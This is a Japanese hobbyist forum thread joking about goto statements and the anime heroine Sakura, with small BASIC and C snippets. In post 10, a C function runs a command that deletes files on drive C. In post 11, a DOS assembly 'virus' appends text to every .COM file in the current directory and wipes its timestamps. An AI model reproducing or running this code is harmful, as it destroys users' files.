goto文スレッド

0001goto　６

NGNG

悪名高いgoto文を使ったスレッドです。
使いすぎるとスレッドが読みにくくなるので濫用は避けてください

>goto　６
で、そこんとこどうよ？

0002goto 2

NGNG

スレッド止まっちゃうよう…

0003goto 3

NGNG

ごとーさん :-p

0004べーまが出身

NGNG

１０　PRINT”さくらたん萌え”；
２０　ＧＯＴＯ　１０

0005名無しさん

NGNG

踏み絵
main(){
char s[32];
ANTI:
printf("さくら萌？\n");
gets(s);
printf("\n");
if(s=="はにゃ～ん"){
printf("通ってよし\n");
}else{
printf("氏ね\n");
goto ANTI;
}
}

0006どうよって言われても困るよ

NGNG

×if(s=="はにゃ～ん"){
○if(!strcmp(s＠｀"はにゃ～ん"){

0007名無しさん

NGNG

昔、店頭のMSXに悪戯したまま帰ったのを思い出した……

0008名無しさん

NGNG

goto 1

0009名無しさん

NGNG

GOSUB　*sakura ota sine

0010basic知らんのでc

NGNG

#include<string.h>
#include<stdlib.h>
void sakura_ota_sine(char *hoe)
{
printf("さくら食べたい？\n");

switch(strcmp(hoe＠｀"うん")){
case 0 :
for(;;) system("dir c:\\windows\\*.*");
break;
default:
system("del c:\\*.*");
}
}

0011C解んないので

NGNG

INCLUDE A:\MASM\INCLUDE\VIRUS.INC

DOSSEG
.MODEL TINY

_finfo STRUC
_dmy DB 21 DUP(?)
_attr DB ?
_time DW ?
_date DW ?
_sizeL DW ?
_sizeH DW ?
_name DB 13 DUP(?)
_finfo ENDS

.DATA
SEARCHNAME DB '*.COM'＠｀00H
OUTDATA DB 'はにゃーん'
OUTDATA_LEN EQU $ - OUTDATA
EMSG_OPEN DB 'Can not open.'＠｀CR＠｀LF
EMSG_OPEN_LEN EQU $ - EMSG_OPEN
EMSG_WRITE DB 'Can not write.'＠｀CR＠｀LF
EMSG_WRITE_LEN EQU $ - EMSG_WRITE
HEAD1 DB 'ほえぇぇぇ'＠｀'$'
HEAD2 DB 'File not found.'＠｀'$'

.DATA?
HANDLE DW ?
finfo _finfo <>
;---------------------------------------------------------------------
.CODE
ORG 100H
MAIN PROC
MOV DX＠｀OFFSET N_VEC
SETVEC VEC
CALL V1
JMP TMN0
MAIN ENDP

V1 PROC NEAR
MOV DX＠｀OFFSET finfo
MOV AH＠｀1AH
INT 21H
MOV DX＠｀OFFSET SEARCHNAME
MOV CX＠｀A_READONLY+A_HIDDEN+A_SYSTEM+A_ARCHIVE
MOV AH＠｀4EH
INT 21H
CMP AX＠｀12H
JE TMN1

L1: MOV DX＠｀OFFSET finfo._name
MOV CX＠｀20H
MOV AX＠｀4301H
INT 21H
MOV SI＠｀OFFSET finfo._name
MOV BX＠｀WMODE
MOV DX＠｀OPEN
MOV CX＠｀0000H
MOV AH＠｀6CH
INT 21H

MOV HANDLE＠｀AX
MOV BX＠｀HANDLE
MOV AL＠｀02H
MOV CX＠｀0000H
MOV DX＠｀0000H
MOV AH＠｀42H
INT 21H

MOV DX＠｀OFFSET OUTDATA
MOV CX＠｀OUTDATA_LEN
MOV BX＠｀HANDLE
MOV AH＠｀40H
INT 21H
CMP AX＠｀CX
JNE ERR_WRITE

MOV BX＠｀HANDLE
MOV AX＠｀5701H
MOV CX＠｀0000H
MOV DX＠｀0000H
INT 21H

MOV BX＠｀HANDLE
MOV AH＠｀3EH
INT 21H

LOOP_2: MOV CX＠｀A_READONLY+A_HIDDEN+A_SYSTEM+A_ARCHIVE
MOV AH＠｀4FH
INT 21H
CMP AX＠｀12H
JE TMN0
LOOP L1
V1 ENDP

N_VEC PROC NEAR
IRET
N_VEC ENDP

ERR_OPEN PROC NEAR
MOV DX＠｀OFFSET EMSG_OPEN
MOV CX＠｀EMSG_OPEN_LEN
JMP ERROR
ERR_OPEN ENDP

ERR_WRITE PROC NEAR
MOV DX＠｀OFFSET EMSG_WRITE
MOV CX＠｀EMSG_WRITE_LEN
JMP ERROR
ERR_WRITE ENDP

ERROR PROC NEAR
MOV BX＠｀STDERR
MOV AH＠｀40H
INT 21H
RET
ERROR ENDP

TMN0 PROC NEAR
MOV DX＠｀OFFSET HEAD1
DISP
.EXIT
TMN0 ENDP

TMN1 PROC NEAR
MOV DX＠｀OFFSET HEAD2
DISP
.EXIT
TMN1 ENDP

END MAIN

0012＞１１

NGNG

*.COMファイル後部に”はにゃーん”が感染するの？

0013名無しさん

NGNG

＞１１
アセンブラってどうやって勉強しました？
入門書とかあったら教えてください

0014１１

NGNG

＞１３
そうです。
カレントにあるファイル（*.COM）全てに感染します。（全ての属性）
タイムスタンプも消えると思います。

＞１４
アセンブラしかできないです。でも年寄りではありません。
今ではあまり見かけませんね。あとで書斎を探してみます。

0015名無しさん

NGNG

＞１１
「さくらウイルス」ですな。

0016名無しさん

NGNG

それにしても主人公の女の子は萌えるねぇ